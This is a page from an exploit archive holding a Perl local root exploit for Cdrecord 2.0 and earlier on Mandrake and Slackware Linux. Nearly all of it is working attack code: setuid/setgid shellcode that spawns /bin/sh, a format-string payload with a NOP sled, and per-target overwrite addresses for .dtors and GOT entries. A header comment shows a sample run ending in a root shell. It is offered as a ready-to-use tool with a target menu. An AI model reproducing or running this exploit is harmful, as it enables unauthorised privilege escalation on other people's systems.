exploits , vulnerabilities , articles , Cdrecord Version <= 2.0 Mandrake local root exploit

#!/usr/bin/perl
########################################################### 
# Cdrecord version 2.0 and < local root exploit.
#
#
# [wsxz@localhost buffer]$ perl priv8cdr.pl 4
# Using target number 4
# Using Mr .dtors 0x808c82c
# Cdrecord 2.0 (i586-mandrake-linux-gnu)
#
# scsibus: -1 target: -1 lun: -1
# Warning: Open by 'devname' is unintentional and not supported.
# /usr/bin/cdrecord: No such file or directory. Cannot open '. Cannot open
SCSI driver.
# /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'. Make
sure you are root.
# /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord
dev=help'.
# sh-2.05b# id
# uid=0(root) gid=0(root) groups=503(wsxz)
# sh-2.05b#
#####################################################

		 $shellcode =
 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
		 "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
		 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
 "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
 "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
 "\xff\xff/bin/sh";

		 $cdrecordpath = "/usr/bin/cdrecord";
		 $nop = "\x90"; # x86 NOP
 $offset = 0; # Default offset to try.


 if (@ARGV == 1 || @ARGV == 2) {
 $target = $ARGV[0];
 $offset = $ARGV[1];
		 }else{
		 printf(" Priv8security.com Cdrecord local root
exploit!!\n");
		 printf(" usage: $0 target\n");
		 printf(" List of targets:\n");
		 printf(" 1 - Linux Mandrake 8.2 Cdrecord 1.11a15\n");
 printf(" 2 - Linux Mandrake 9.0 Cdrecord 1.11a32\n");
 printf(" 3 - Linux Slackware 8.1 Cdrecord 1.11a24 not suid by
default!!!\n");
		 printf(" 4 - Linux Mandrake 9.1 Cdrecord 2.0\n");
		 exit(1);
		 }

 if ( $target eq "1" ) {
 $retword = 0x0807af38; #Mr .dtors ;)
		 $fmtstring = "%.134727238x%x%x%x%x%x%x%x%x%n:";
		 }
 if ( $target eq "2" ) {
 # $retword = 0x08084578; #.dtors
 $retword = 0x08084684; #.GOT exit
		 $fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";
		 }
 if ( $target eq "3" ) {
 $retword = 0x0807f658;
 $fmtstring = "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";
		 }
 if ( $target eq "4" ) {
 $retword = 0x0808c82c; #.GOT exit
		 $fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";
		 }

		 printf("Using target number %d\n", $target);
 printf("Using Mr .dtors 0x%x\n",$retword);

		 $new_retword = pack('l', ($retword));
		 $new_retshell = pack('l', ($retshell));
 $buffer2 = $new_retword;
 $buffer2 .= $nop x 150;
 $buffer2 .= $shellcode;
 $buffer2 .= $fmtstring;

		 exec("$cdrecordpath dev='$buffer2' '$cdrecordpath'");
securitydot.net - 2003-05-14